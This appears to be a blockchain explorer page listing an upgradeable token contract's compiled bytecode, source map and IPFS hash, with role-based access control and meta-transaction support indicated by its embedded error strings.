6f6620626f756e6473416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e744d6574615472616e73616374696f6e2875696e74323536206e6f6e63652c616464726573732066726f6d2c62797465732066756e6374696f6e5369676e6174757265294f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b654e61746976654d6574615472616e73616374696f6e3a20494e56414c49445f5349474e4552496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a65645369676e657220616e64207369676e617475726520646f206e6f74206d61746368416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a2646970667358221220d8df690d7086ed7e0d960b348d934ff1d737bf159b3b5f5604f256ea6f46accc64736f6c634300060c0033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80638129fc1c1161009557806391d148541161006457806391d1485414610441578063a217fddf1461048e578063ca15c873146104a3578063d547741f146104cd578063f2fde38b146105065761011c565b80638129fc1c146103925780638da5cb5b146103a75780639010d07c146103d857806390ec57f1146104085761011c565b80632d0335ab116100dc5780632d0335ab146102c35780632f2ff15d146102f65780633408e4701461032f57806336568abe14610344578063715018a61461037d5761011c565b80630c53c51c146101245780630f7e59701461025d57806320379ee514610272578063248a9ca3146102995761011c565b3661011c5761011a610539565b005b61011a610539565b6101e8600480360360a081101561013a57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561016557600080fd5b82018360208201111561017757600080fd5b8035906020019184600183028401116401000000008311171561019957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550508235935050506020810135906040013560ff16610571565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022257818101518382015260200161020a565b50505050905090810190601f16801561024f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026957600080fd5b506101e861087e565b34801561027e57600080fd5b5061028761089b565b60408051918252519081900360200190f35b3480156102a557600080fd5b50610287600480360360208110156102bc57600080fd5b50356108a2565b3480156102cf57600080fd5b50610287600480360360208110156102e657600080fd5b50356001600160a01b03166108b7565b34801561030257600080fd5b5061011a6004803603604081101561031957600080fd5b50803590602001356001600160a01b03166108d2565b34801561033b57600080fd5b5061028761093e565b34801561035057600080fd5b5061011a6004803603604081101561036757600080fd5b50803590602001356001600160a01b0316610942565b34801561038957600080fd5b5061011a6109a3565b34801561039e57600080fd5b5061011a610a64565b3480156103b357600080fd5b506103bc610c05565b604080516001600160a01b039092168252519081900360200190f35b3480156103e457600080fd5b506103bc600480360360408110156103fb57600080fd5b5080359060200135610c1a565b34801561041457600080fd5b5061011a6004803603604081101561042b57600080fd5b506001600160a01b038135169060200135610c3b565b34801561044d57600080fd5b5061047a6004803603604081101561046457600080fd5b50803590602001356001600160a01b0316610c73565b604080519115158252519081900360200190f35b34801561049a57600080fd5b50610287610c8b565b3480156104af57600080fd5b50610287600480360360208110156104c657600080fd5b5035610c90565b3480156104d957600080fd5b5061011a600480360360408110156104f057600080fd5b50803590602001356001600160a01b0316610ca7565b34801561051257600080fd5b5061011a6004803603602081101561052957600080fd5b50356001600160a01b0316610d00565b610541610e24565b6001600160a01b0316336001600160a01b0316141561055f57600080fd5b61056f61056a610e49565b610e6e565b565b606061057b6115ad565b50604080516060810182526001600160a01b038816600081815260336020908152908490205483528201529081018690526105b98782878787610e92565b6105f45760405162461bcd60e51b81526004018080602001828103825260218152602001806117a86021913960400191505060405180910390fd5b6001600160a01b038716600090815260336020526040902054610618906001610f6c565b60336000896001600160a01b03166001600160a01b03168152602001908152602001600020819055507f5845892132946850460bff5a0083f71031bc5bf9aadcd40f1de79423eac9b10b87338860405180846001600160a01b03168152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156106c05781810151838201526020016106a8565b50505050905090810190601f1680156106ed5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a160006060306001600160a01b0316888a6040516020018083805190602001908083835b6020831061073e5780518252601f19909201916020918201910161071f565b6001836020036101000a038019825116818451168082178552505050505050905001826001600160a01b031660601b8152601401925050506040516020818303038152906040526040518082805190602001908083835b602083106107b45780518252601f199092019160209182019101610795565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610816576040519150601f19603f3d011682016040523d82523d6000602084013e61081b565b606091505b509150915081610872576040805162461bcd60e51b815260206004820152601c60248201527f46756e6374696f6e2063616c6c206e6f74207375636365737366756c00000000604482015290519081900360640190fd5b98975050505050505050565b604051806040016040528060018152602001603160f81b81525081565b6032545b90565b60009081526034602052604090206002015490565b6001600160a01b031660009081526033602052604090205490565b6000828152603460205260409020600201546108f5906108f0610fc6565b610c73565b6109305760405162461bcd60e51b815260040180806020018281038252602f81526020018061168d602f913960400191505060405180910390fd5b61093a8282610fd5565b5050565b4690565b61094a610fc6565b6001600160a01b0316816001600160a01b0316146109995760405162461bcd60e51b815260040180806020018281038252602f8152602001806117c9602f913960400191505060405180910390fd5b61093a828261103e565b6109ab610fc6565b6000546201000090046001600160a01b03908116911614610a13576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60008054604051620100009091046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805462010000600160b01b0319169055565b600054610100900460ff1680610a7d5750610a7d6110a7565b80610a8b575060005460ff16155b610ac65760405162461bcd60e51b815260040180806020018281038252602e81526020018061177a602e913960400191505060405180910390fd5b600054610100900460ff16158015610af1576000805460ff1961ff0019909116610100171660011790555b610af96110ad565b603b805460ff191660121790556040805180820190915260058082526413595d185b60da1b6020909201918252610b3291603a916115d7565b506040805180820190915260058082526413595d185b60da1b6020909201918252610b5f916039916115d7565b50603b5460ff16600a0a64174876e80002603881905560366000610b81610c05565b6001600160a01b03168152602081019190915260400160002055610ba3610c05565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6038546040518082815260200191505060405180910390a38015610c02576000805461ff00191690555b50565b6000546201000090046001600160a01b031690565b6000828152603460205260408120610c329083611156565b90505b92915050565b610c43610e24565b6001600160a01b0316336001600160a01b03161415610c6b57610c668282611162565b61093a565b61093a610539565b6000828152603460205260408120610c3290836111a8565b600081565b6000818152603460205260408120610c35906111bd565b600082815260346020526040902060020154610cc5906108f0610fc6565b6109995760405162461bcd60e51b81526004018080602001828103825260308152602001806117256030913960400191505060405180910390fd5b610d08610fc6565b6000546201000090046001600160a01b03908116911614610d70576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610db55760405162461bcd60e51b81526004018080602001828103825260268152602001806116ff6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516936201000090930416917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b3b151590565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610e8d573d6000f35b3d6000fd5b60006001600160a01b038616610ed95760405162461bcd60e51b81526004018080602001828103825260258152602001806117556025913960400191505060405180910390fd5b6001610eec610ee7876111c8565b61124b565b83868660405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015610f43573d6000803e3d6000fd5b505050602060405103516001600160a01b0316866001600160a01b031614905095945050505050565b600082820183811015610c32576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610fd0611297565b905090565b6000828152603460205260409020610fed90826112f4565b1561093a57610ffa610fc6565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008281526034602052604090206110569082611309565b1561093a57611063610fc6565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b303b1590565b600054610100900460ff16806110c657506110c66110a7565b806110d4575060005460ff16155b61110f5760405162461bcd60e51b815260040180806020018281038252602e81526020018061177a602e913960400191505060405180910390fd5b600054610100900460ff1615801561113a576000805460ff1961ff0019909116610100171660011790555b61114261131e565b8015610c02576000805461ff001916905550565b6000610c32838361141d565b6001600160ff1b038110156111835761117a82610e1e565b61118357600080fd5b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b6000610c32836001600160a01b038416611481565b6000610c3582611499565b60006040518060800160405280604381526020016116bc60439139805190602001208260000151836020015184604001518051906020012060405160200180858152602001848152602001836001600160a01b03168152602001828152602001945050505050604051602081830303815290604052805190602001209050919050565b600061125561089b565b82604051602001808061190160f01b81525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050919050565b6000333014156112ef5760606000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050503601516001600160a01b0316915061089f9050565b503390565b6000610c32836001600160a01b03841661149d565b6000610c32836001600160a01b0384166114e7565b600054610100900460ff168061133757506113376110a7565b80611345575060005460ff16155b6113805760405162461bcd60e51b815260040180806020018281038252602e81526020018061177a602e913960400191505060405180910390fd5b600054610100900460ff161580156113ab576000805460ff1961ff0019909116610100171660011790555b60006113b5610fc6565b6000805462010000600160b01b031916620100006001600160a01b038416908102919091178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508015610c02576000805461ff001916905550565b8154600090821061145f5760405162461bcd60e51b815260040180806020018281038252602281526020018061166b6022913960400191505060405180910390fd5b82600001828154811061146e57fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b5490565b60006114a98383611481565b6114df57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610c35565b506000610c35565b600081815260018301602052604081205480156115a3578354600019808301919081019060009087908390811061151a57fe5b906000526020600020015490508087600001848154811061153757fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061156757fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610c35565b6000915050610c35565b60405180606001604052806000815260200160006001600160a01b03168152602001606081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061161857805160ff1916838001178555611645565b82800160010185558215611645579182015b8281111561164557825182559160200191906001019061162a565b50611651929150611655565b5090565b5b80821115611651576000815560010161165656fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e744d6574615472616e73616374696f6e2875696e74323536206e6f6e63652c616464726573732066726f6d2c62797465732066756e6374696f6e5369676e6174757265294f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b654e61746976654d6574615472616e73616374696f6e3a20494e56414c49445f5349474e4552496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a65645369676e657220616e64207369676e617475726520646f206e6f74206d61746368416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a2646970667358221220d8df690d7086ed7e0d960b348d934ff1d737bf159b3b5f5604f256ea6f46accc64736f6c634300060c0033

Deployed Bytecode Sourcemap

61161:623:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34430:19;:17;:19::i;:::-;61161:623;;34373:19;:17;:19::i;30655:1142::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;30655:1142:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;30655:1142:0;;-1:-1:-1;;30655:1142:0;;;-1:-1:-1;;;30655:1142:0;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26566:43;;;;;;;;;;;;;:::i;28001:101::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;57280:114;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;57280:114:0;;:::i;33465:107::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;33465:107:0;-1:-1:-1;;;;;33465:107:0;;:::i;57656:227::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;57656:227:0;;;;;;-1:-1:-1;;;;;57656:227:0;;:::i;28110:161::-;;;;;;;;;;;;;:::i;58865:209::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;58865:209:0;;;;;;-1:-1:-1;;;;;58865:209:0;;:::i;25725:148::-;;;;;;;;;;;;;:::i;61270:334::-;;;;;;;;;;;;;:::i;25083:79::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;25083:79:0;;;;;;;;;;;;;;56953:138;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;56953:138:0;;;;;;;:::i;34217:114::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;34217:114:0;;;;;;;;:::i;55914:139::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;55914:139:0;;;;;;-1:-1:-1;;;;;55914:139:0;;:::i;:::-;;;;;;;;;;;;;;;;;;54659:49;;;;;;;;;;;;;:::i;56227:127::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;56227:127:0;;:::i;58128:230::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;58128:230:0;;;;;;-1:-1:-1;;;;;58128:230:0;;:::i;26028:244::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;26028:244:0;-1:-1:-1;;;;;26028:244:0;;:::i;32227:130::-;32312:8;:6;:8::i;:::-;-1:-1:-1;;;;;32298:22:0;:10;-1:-1:-1;;;;;32298:22:0;;;32290:31;;;;;;32332:17;32338:10;:8;:10::i;:::-;32332:5;:17::i;:::-;32227:130::o;30655:1142::-;30856:12;30881:29;;:::i;:::-;-1:-1:-1;30913:152:0;;;;;;;;-1:-1:-1;;;;;30951:19:0;;-1:-1:-1;30951:19:0;;;:6;:19;;;;;;;;;30913:152;;;;;;;;;;;31100:45;30958:11;30913:152;31128:4;31134;31140;31100:6;:45::i;:::-;31078:128;;;;-1:-1:-1;;;31078:128:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;31295:19:0;;;;;;:6;:19;;;;;;:26;;31319:1;31295:23;:26::i;:::-;31273:6;:19;31280:11;-1:-1:-1;;;;;31273:19:0;-1:-1:-1;;;;;31273:19:0;;;;;;;;;;;;:48;;;;31339:117;31377:11;31403:10;31428:17;31339:117;;;;-1:-1:-1;;;;;31339:117:0;;;;;;-1:-1:-1;;;;;31339:117:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31567:12;31581:23;31616:4;-1:-1:-1;;;;;31608:18:0;31658:17;31677:11;31641:48;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;31641:48:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;31641:48:0;;;;;;;;;;;;;;;;;;;;;;;31608:92;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;31608:92:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31566:134;;;;31719:7;31711:48;;;;;-1:-1:-1;;;31711:48:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;31779:10;30655:1142;-1:-1:-1;;;;;;;;30655:1142:0:o;26566:43::-;;;;;;;;;;;;;;-1:-1:-1;;;26566:43:0;;;;:::o;28001:101::-;28079:15;;28001:101;;:::o;57280:114::-;57337:7;57364:12;;;:6;:12;;;;;:22;;;;57280:114::o;33465:107::-;-1:-1:-1;;;;;33552:12:0;33518:13;33552:12;;;:6;:12;;;;;;;33465:107::o;57656:227::-;57748:12;;;;:6;:12;;;;;:22;;;57740:45;;57772:12;:10;:12::i;:::-;57740:7;:45::i;:::-;57732:105;;;;-1:-1:-1;;;57732:105:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;57850:25;57861:4;57867:7;57850:10;:25::i;:::-;57656:227;;:::o;28110:161::-;28224:9;28110:161;:::o;58865:209::-;58963:12;:10;:12::i;:::-;-1:-1:-1;;;;;58952:23:0;:7;-1:-1:-1;;;;;58952:23:0;;58944:83;;;;-1:-1:-1;;;58944:83:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;59040:26;59052:4;59058:7;59040:11;:26::i;25725:148::-;25305:12;:10;:12::i;:::-;25295:6;;;;;-1:-1:-1;;;;;25295:6:0;;;:22;;;25287:67;;;;;-1:-1:-1;;;25287:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25832:1:::1;25816:6:::0;;25795:40:::1;::::0;25816:6;;;::::1;-1:-1:-1::0;;;;;25816:6:0::1;::::0;25795:40:::1;::::0;25832:1;;25795:40:::1;25863:1;25846:19:::0;;-1:-1:-1;;;;;;25846:19:0::1;::::0;;25725:148::o;61270:334::-;22774:13;;;;;;;;:33;;;22791:16;:14;:16::i;:::-;22774:50;;;-1:-1:-1;22812:12:0;;;;22811:13;22774:50;22766:109;;;;-1:-1:-1;;;22766:109:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22888:19;22911:13;;;;;;22910:14;22935:101;;;;22970:13;:20;;-1:-1:-1;;;;22970:20:0;;;;;23005:19;22986:4;23005:19;;;22935:101;61322:24:::1;:22;:24::i;:::-;61359:9;:14:::0;;-1:-1:-1;;61359:14:0::1;61371:2;61359:14;::::0;;61384:17:::1;::::0;;;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;;;61384:17:0::1;::::0;;::::1;::::0;;;::::1;::::0;:7:::1;::::0;:17:::1;:::i;:::-;-1:-1:-1::0;61412:15:0::1;::::0;;;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;;;61412:15:0::1;::::0;;::::1;::::0;;;::::1;::::0;:5:::1;::::0;:15:::1;:::i;:::-;-1:-1:-1::0;61482:9:0::1;::::0;::::1;;61468:2;:24;61455:9;:38;61440:12;:53:::0;;;61504:9:::1;-1:-1:-1::0;61514:7:0::1;:5;:7::i;:::-;-1:-1:-1::0;;;;;61504:18:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;61504:18:0;:33;61574:7:::1;:5;:7::i;:::-;-1:-1:-1::0;;;;;61553:43:0::1;61570:1;-1:-1:-1::0;;;;;61553:43:0::1;;61583:12;;61553:43;;;;;;;;;;;;;;;;;;23066:14:::0;23062:68;;;23113:5;23097:21;;-1:-1:-1;;23097:21:0;;;23062:68;61270:334;:::o;25083:79::-;25121:7;25148:6;;;;-1:-1:-1;;;;;25148:6:0;;25083:79::o;56953:138::-;57026:7;57053:12;;;:6;:12;;;;;:30;;57077:5;57053:23;:30::i;:::-;57046:37;;56953:138;;;;;:::o;34217:114::-;33358:8;:6;:8::i;:::-;-1:-1:-1;;;;;33344:22:0;:10;-1:-1:-1;;;;;33344:22:0;;33340:110;;;34298:25:::1;34307:7;34316:6;34298:8;:25::i;:::-;33340:110:::0;;;33419:19;:17;:19::i;55914:139::-;55983:4;56007:12;;;:6;:12;;;;;:38;;56037:7;56007:29;:38::i;54659:49::-;54704:4;54659:49;:::o;56227:127::-;56290:7;56317:12;;;:6;:12;;;;;:29;;:27;:29::i;58128:230::-;58221:12;;;;:6;:12;;;;;:22;;;58213:45;;58245:12;:10;:12::i;58213:45::-;58205:106;;;;-1:-1:-1;;;58205:106:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26028:244;25305:12;:10;:12::i;:::-;25295:6;;;;;-1:-1:-1;;;;;25295:6:0;;;:22;;;25287:67;;;;;-1:-1:-1;;;25287:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;26117:22:0;::::1;26109:73;;;;-1:-1:-1::0;;;26109:73:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26219:6;::::0;;26198:38:::1;::::0;-1:-1:-1;;;;;26198:38:0;;::::1;::::0;26219:6;;;::::1;;::::0;26198:38:::1;::::0;::::1;26247:6;:17:::0;;-1:-1:-1;;;;;26247:17:0;;::::1;::::0;::::1;-1:-1:-1::0;;;;;;26247:17:0;;::::1;::::0;;;::::1;::::0;;26028:244::o;45691:422::-;46058:20;46097:8;;;45691:422::o;33138:157::-;33272:4;33266:11;;33244:44::o;32365:176::-;32518:4;32512:11;;32490:44::o;29271:469::-;29362:14;29359:1;29356;29343:34;29452:1;29449;29433:14;29430:1;29425:3;29418:5;29405:49;29489:16;29486:1;29483;29468:38;29527:6;29551:76;;;;29686:16;29683:1;29676:27;29551:76;29591:16;29588:1;29581:27;33580:486;33758:4;-1:-1:-1;;;;;33783:20:0;;33775:70;;;;-1:-1:-1;;;33775:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33899:159;33927:47;33946:27;33966:6;33946:19;:27::i;:::-;33927:18;:47::i;:::-;33993:4;34016;34039;33899:159;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;33876:182:0;:6;-1:-1:-1;;;;;33876:182:0;;33856:202;;33580:486;;;;;;;:::o;6129:179::-;6187:7;6219:5;;;6243:6;;;;6235:46;;;;;-1:-1:-1;;;6235:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;61612:169;61702:22;61749:24;:22;:24::i;:::-;61742:31;;61612:169;:::o;60108:188::-;60182:12;;;;:6;:12;;;;;:33;;60207:7;60182:24;:33::i;:::-;60178:111;;;60264:12;:10;:12::i;:::-;-1:-1:-1;;;;;60237:40:0;60255:7;-1:-1:-1;;;;;60237:40:0;60249:4;60237:40;;;;;;;;;;60108:188;;:::o;60304:192::-;60379:12;;;;:6;:12;;;;;:36;;60407:7;60379:27;:36::i;:::-;60375:114;;;60464:12;:10;:12::i;:::-;-1:-1:-1;;;;;60437:40:0;60455:7;-1:-1:-1;;;;;60437:40:0;60449:4;60437:40;;;;;;;;;;60304:192;;:::o;23230:604::-;23672:4;23783:17;23819:7;23230:604;:::o;24704:92::-;22774:13;;;;;;;;:33;;;22791:16;:14;:16::i;:::-;22774:50;;;-1:-1:-1;22812:12:0;;;;22811:13;22774:50;22766:109;;;;-1:-1:-1;;;22766:109:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22888:19;22911:13;;;;;;22910:14;22935:101;;;;22970:13;:20;;-1:-1:-1;;;;22970:20:0;;;;;23005:19;22986:4;23005:19;;;22935:101;24762:26:::1;:24;:26::i;:::-;23066:14:::0;23062:68;;;23113:5;23097:21;;-1:-1:-1;;23097:21:0;;;24704:92;:::o;43149:158::-;43223:7;43274:22;43278:3;43290:5;43274:3;:22::i;32549:258::-;-1:-1:-1;;;;;32638:31:0;;32634:100;;;32694:27;32713:7;32694:18;:27::i;:::-;32686:36;;;;;;-1:-1:-1;32775:4:0;32768:21;32753:47::o;42435:167::-;42515:4;42539:55;42549:3;-1:-1:-1;;;;;42569:23:0;;42539:9;:55::i;42688:117::-;42751:7;42778:19;42786:3;42778:7;:19::i;31805:410::-;31915:7;29991:100;;;;;;;;;;;;;;;;;29971:127;;;;;;32069:6;:12;;;32104:6;:11;;;32148:6;:24;;;32138:35;;;;;;31988:204;;;;;;;;;;;;;;;;-1:-1:-1;;;;;31988:204:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;31960:247;;;;;;31940:267;;31805:410;;;:::o;28640:258::-;28739:7;28841:20;:18;:20::i;:::-;28863:11;28812:63;;;;;;-1:-1:-1;;;28812:63:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28784:106;;;;;;28764:126;;28640:258;;;:::o;34561:641::-;34632:22;34676:10;34698:4;34676:27;34672:499;;;34720:18;34741:8;;34720:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;34780:8:0;34991:17;34985:24;-1:-1:-1;;;;;34959:134:0;;-1:-1:-1;34819:289:0;;-1:-1:-1;34819:289:0;;-1:-1:-1;35149:10:0;34561:641;:::o;41863:152::-;41933:4;41957:50;41962:3;-1:-1:-1;;;;;41982:23:0;;41957:4;:50::i;42191:158::-;42264:4;42288:53;42296:3;-1:-1:-1;;;;;42316:23:0;;42288:7;:53::i;24804:196::-;22774:13;;;;;;;;:33;;;22791:16;:14;:16::i;:::-;22774:50;;;-1:-1:-1;22812:12:0;;;;22811:13;22774:50;22766:109;;;;-1:-1:-1;;;22766:109:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22888:19;22911:13;;;;;;22910:14;22935:101;;;;22970:13;:20;;-1:-1:-1;;;;22970:20:0;;;;;23005:19;22986:4;23005:19;;;22935:101;24872:17:::1;24892:12;:10;:12::i;:::-;24915:6;:18:::0;;-1:-1:-1;;;;;;24915:18:0::1;::::0;-1:-1:-1;;;;;24915:18:0;::::1;::::0;;::::1;::::0;;;::::1;::::0;;24949:43:::1;::::0;24915:18;;-1:-1:-1;24915:18:0;24949:43:::1;::::0;24915:6;;24949:43:::1;23048:1;23066:14:::0;23062:68;;;23113:5;23097:21;;-1:-1:-1;;23097:21:0;;;24804:196;:::o;39815:204::-;39910:18;;39882:7;;39910:26;-1:-1:-1;39902:73:0;;;;-1:-1:-1;;;39902:73:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39993:3;:11;;40005:5;39993:18;;;;;;;;;;;;;;;;39986:25;;39815:204;;;;:::o;39147:129::-;39220:4;39244:19;;;:12;;;;;:19;;;;;;:24;;;39147:129::o;39362:109::-;39445:18;;39362:109::o;36927:414::-;36990:4;37012:21;37022:3;37027:5;37012:9;:21::i;:::-;37007:327;;-1:-1:-1;37050:23:0;;;;;;;;:11;:23;;;;;;;;;;;;;37233:18;;37211:19;;;:12;;;:19;;;;;;:40;;;;37266:11;;37007:327;-1:-1:-1;37317:5:0;37310:12;;37517:1544;37583:4;37722:19;;;:12;;;:19;;;;;;37758:15;;37754:1300;;38193:18;;-1:-1:-1;;38144:14:0;;;;38193:22;;;;38120:21;;38193:3;;:22;;38480;;;;;;;;;;;;;;38460:42;;38626:9;38597:3;:11;;38609:13;38597:26;;;;;;;;;;;;;;;;;;;:38;;;;38703:23;;;38745:1;38703:12;;;:23;;;;;;38729:17;;;38703:43;;38855:17;;38703:3;;38855:17;;;;;;;;;;;;;;;;;;;;;;38950:3;:12;;:19;38963:5;38950:19;;;;;;;;;;;38943:26;;;38993:4;38986:11;;;;;;;;37754:1300;39037:5;39030:12;;;;;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;

Swarm Source

ipfs://d8df690d7086ed7e0d960b348d934ff1d737bf159b3b5f5604f256ea6f46accc
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.